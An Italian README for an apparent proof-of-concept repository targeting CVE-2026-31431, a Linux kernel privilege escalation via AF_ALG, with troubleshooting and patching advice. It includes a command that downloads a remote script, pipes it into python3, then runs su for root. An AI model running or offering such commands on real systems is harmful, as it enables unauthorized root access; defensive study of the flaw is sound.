
# Dimostrazione educativa proof-of-concept che illustra l'escalation locale dei privilegi nel kernel Linux tramite AF_ALG algif_aead (CVE-2026-31431). Include istruzioni d'uso e indicazioni di mitigazione per la ricerca difensiva.
Proof of Concept educativo per CVE-2026-31431, nota anche come Copy Fail, una vulnerabilità di escalation dei privilegi locale nel kernel Linux che coinvolge l'interfaccia crittografica AF_ALG / algif_aead.
[!WARNING] Questo repository è fornito esclusivamente a scopo educativo, difensivo e di ricerca sulla sicurezza autorizzata.
Non eseguire questo codice su sistemi che non possiedi o su sistemi per cui non hai esplicita autorizzazione scritta a testare.
L'uso non autorizzato potrebbe essere illegale.
CVE-2026-31431 è una vulnerabilità di escalation dei privilegi locale nel kernel Linux che interessa il sottosistema crittografico del kernel.
La vulnerabilità coinvolge il percorso AEAD esposto tramite l'interfaccia AF_ALG e potrebbe consentire a un utente locale non privilegiato di interferire con i dati della cache delle pagine associati a file leggibili, portando potenzialmente a un'escalation dei privilegi sui sistemi vulnerabili.
Questo repository contiene un Proof of Concept educativo minimale pensato per ambienti di laboratorio controllati.
Il sistema di destinazione deve esporre l'algoritmo AEAD AF_ALG richiesto.
Puoi verificarlo con:
grep -i "authencesn\|authenc" /proc/crypto
Il PoC prevede il supporto per un algoritmo simile a:
authencesn(hmac(sha256),cbc(aes))
Se l'algoritmo non è disponibile, il PoC potrebbe fallire con un errore come:
FileNotFoundError: [Errno 2] No such file or directory
Ciò significa che l'algoritmo crittografico del kernel richiesto non è disponibile sul sistema.
Clona il repository:
git clone https://github.com/Karim33z/CVE-2026-31431.git
cd CVE-2026-31431
Esegui il PoC:
python3 poc.py
Oppure eseguilo direttamente:
curl -s https://raw.githubusercontent.com/Karim33z/CVE-2026-31431/refs/heads/main/poc.py | python3 && su
Alcuni sistemi Linux utilizzano /bin/su invece di /usr/bin/su. Puoi verificare il percorso corretto con:
which su
Se necessario, modifica il percorso di destinazione all'interno di poc.py.
Se ottieni FileNotFoundError: [Errno 2] No such file or directory durante il binding a authencesn(hmac(sha256),cbc(aes)), significa che l'algoritmo del kernel richiesto non è disponibile.
Controlla gli algoritmi crittografici disponibili:
cat /proc/crypto
o più specificamente:
grep -i "authencesn\|authenc\|cbc(aes)\|sha256" /proc/crypto
Se il PoC fa riferimento a /usr/bin/su ma il tuo sistema utilizza /bin/su, verifica con:
which su
Quindi aggiorna il percorso in poc.py di conseguenza.
I difensori dovrebbero aggiornare a una versione del kernel Linux corretta fornita dal proprio distributore.
Dopo l'aggiornamento del kernel, riavvia il sistema per garantire che il kernel corretto sia attivo.
Le mitigazioni temporanee possono includere la restrizione dell'accesso alle funzionalità crittografiche del kernel interessate, a seconda dell'ambiente e della distribuzione.
Questo progetto è destinato esclusivamente a:
L'autore non è responsabile per usi impropri, danni o attività illegali causate da questo codice.
Utilizza solo su sistemi per cui hai esplicita autorizzazione.
Questo progetto è concesso in licenza sotto la MIT License.